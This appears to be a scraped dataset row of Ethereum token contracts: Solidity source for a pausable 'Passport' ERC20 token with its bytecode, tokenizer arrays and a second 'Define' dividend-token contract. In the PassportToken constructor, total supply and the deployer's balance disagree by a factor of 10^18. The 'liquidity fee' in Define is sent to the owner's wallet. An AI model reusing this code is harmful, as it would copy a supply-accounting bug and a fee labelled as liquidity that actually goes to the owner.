* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract PassportToken is PausableToken {
string public name = "Passport";
string public symbol = "PSPT";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 10000000000;
constructor() public{
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073b565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b61076b565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610775565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb6107a7565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e66107ad565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b506103176107c0565b005b34801561032557600080fd5b5061032e610880565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610893565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c3565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b5061041961090b565b005b34801561042757600080fd5b50610430610a10565b005b34801561043e57600080fd5b50610447610ad1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610af7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b95565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc5565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561075957600080fd5b6107638383610ce4565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561079357600080fd5b61079e848484610dd6565b90509392505050565b60075481565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081c57600080fd5b600360149054906101000a900460ff16151561083757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff161515156108b157600080fd5b6108bb8383611190565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6c57600080fd5b600360149054906101000a900460ff16151515610a8857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8d5780601f10610b6257610100808354040283529160200191610b8d565b820191906000526020600020905b815481529060010190602001808311610b7057829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610bb357600080fd5b610bbd8383611421565b905092915050565b6000600360149054906101000a900460ff16151515610be357600080fd5b610bed8383611640565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cd857600080fd5b610ce18161183c565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e1357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e6057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eeb57600080fd5b610f3c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fcf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112a1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611335565b6112b4838261193890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561145e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ab57600080fd5b6114fc826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116d182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561194657fe5b818303905092915050565b6000818301905082811015151561196457fe5b809050929150505600a165627a7a72305820dd5803797ecabb5e7e6208fc7ddfafc1b6d4c3067d19c95d2921449ca806cbaa0029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2094,
2620,
2497,
19317,
2546,
21472,
2692,
3676,
2509,
6305,
11329,
19317,
22203,
16409,
2692,
29097,
27421,
2581,
2683,
2497,
2620,
2546,
23632,
2546,
18939,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
27644,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,578 | 0x955dc929A6C26350316D11F68E8dE42C891e9FB3 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./DefineDividendTracker.sol";
import "./interfaces/IUniswapV2Router.sol";
import "./interfaces/IUniswapV2Factory.sol";
contract Define is ERC20, Ownable, ReentrancyGuard {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
DefineDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public swapTokensAtAmount = 200 * (10**18);
uint256 public immutable ETHRewardsFee;
uint256 public immutable liquidityFee;
uint256 public immutable totalFees;
// sells have fees of 12 and 6 (10 * 1.2 and 5 * 1.2)
uint256 public immutable sellFeeIncreaseFactor = 120;
// use by default 300,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 300000;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) private canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event SendToOwner(
uint256 tokensSent,
uint256 newContractTokenBalance
);
event SendDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address router) public ERC20("DeFiNetics", "DEFINE") {
uint256 _ETHRewardsFee = 11;
uint256 _liquidityFee = 5;
ETHRewardsFee = _ETHRewardsFee;
liquidityFee = _liquidityFee;
totalFees = _ETHRewardsFee.add(_liquidityFee);
dividendTracker = new DefineDividendTracker();
liquidityWallet = owner();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from receiving dividends
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
// exclude from paying fees or having max transaction amount
excludeFromFees(liquidityWallet, true);
excludeFromFees(address(this), true);
// enable owner and fixed-sale wallet to send tokens before presales are over
canTransferBeforeTradingIsEnabled[owner()] = true;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), 311622 * (10**18));
}
receive() external payable {
}
function updateDividendTracker(address newAddress) public onlyOwner {
require(newAddress != address(dividendTracker), "Define: The dividend tracker already has that address");
DefineDividendTracker newDividendTracker = DefineDividendTracker(payable(newAddress));
require(newDividendTracker.owner() == address(this), "Define: The new dividend tracker must be owned by the Define token contract");
newDividendTracker.excludeFromDividends(address(newDividendTracker));
newDividendTracker.excludeFromDividends(address(this));
newDividendTracker.excludeFromDividends(owner());
newDividendTracker.excludeFromDividends(address(uniswapV2Router));
emit UpdateDividendTracker(newAddress, address(dividendTracker));
dividendTracker = newDividendTracker;
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "Define: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(_isExcludedFromFees[account] != excluded, "Define: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] memory accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Define: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Define: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateLiquidityWallet(address newLiquidityWallet) public onlyOwner {
require(newLiquidityWallet != liquidityWallet, "Define: The liquidity wallet is already this address");
excludeFromFees(newLiquidityWallet, true);
emit LiquidityWalletUpdated(newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
require(newValue >= 200000 && newValue <= 500000, "Define: gasForProcessing must be between 200,000 and 500,000");
require(newValue != gasForProcessing, "Define: Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed() external view returns (uint256) {
return dividendTracker.totalDividendsDistributed();
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function withdrawableDividendOf(address account) public view returns(uint256) {
return dividendTracker.withdrawableDividendOf(account);
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
return dividendTracker.balanceOf(account);
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account);
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
swapping = true;
uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div(totalFees);
swapAndSendToOwner(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
uint256 fees = amount.mul(totalFees).div(100);
// if sell, multiply by 1.2
if(automatedMarketMakerPairs[to]) {
fees = fees.mul(sellFeeIncreaseFactor).div(100);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {}
if(!swapping) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
}
catch {
}
}
}
function swapAndSendToOwner(uint256 tokens) private {
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokens); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
uint256 newBalance = address(this).balance.sub(initialBalance);
//Transfer ETH to Owner
(bool success,) = owner().call{value: newBalance}("");
require(success, "ERROR TRANSFER ETH ON OWNER ADDRESS");
// how much ETH did we just swap into?
emit SendToOwner(tokens, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private nonReentrant{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private nonReentrant{
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
function swapAndSendDividends(uint256 tokens) private {
swapTokensForEth(tokens);
uint256 dividends = address(this).balance;
(bool success,) = address(dividendTracker).call{value: dividends}("");
if(success) {
emit SendDividends(tokens, dividends);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
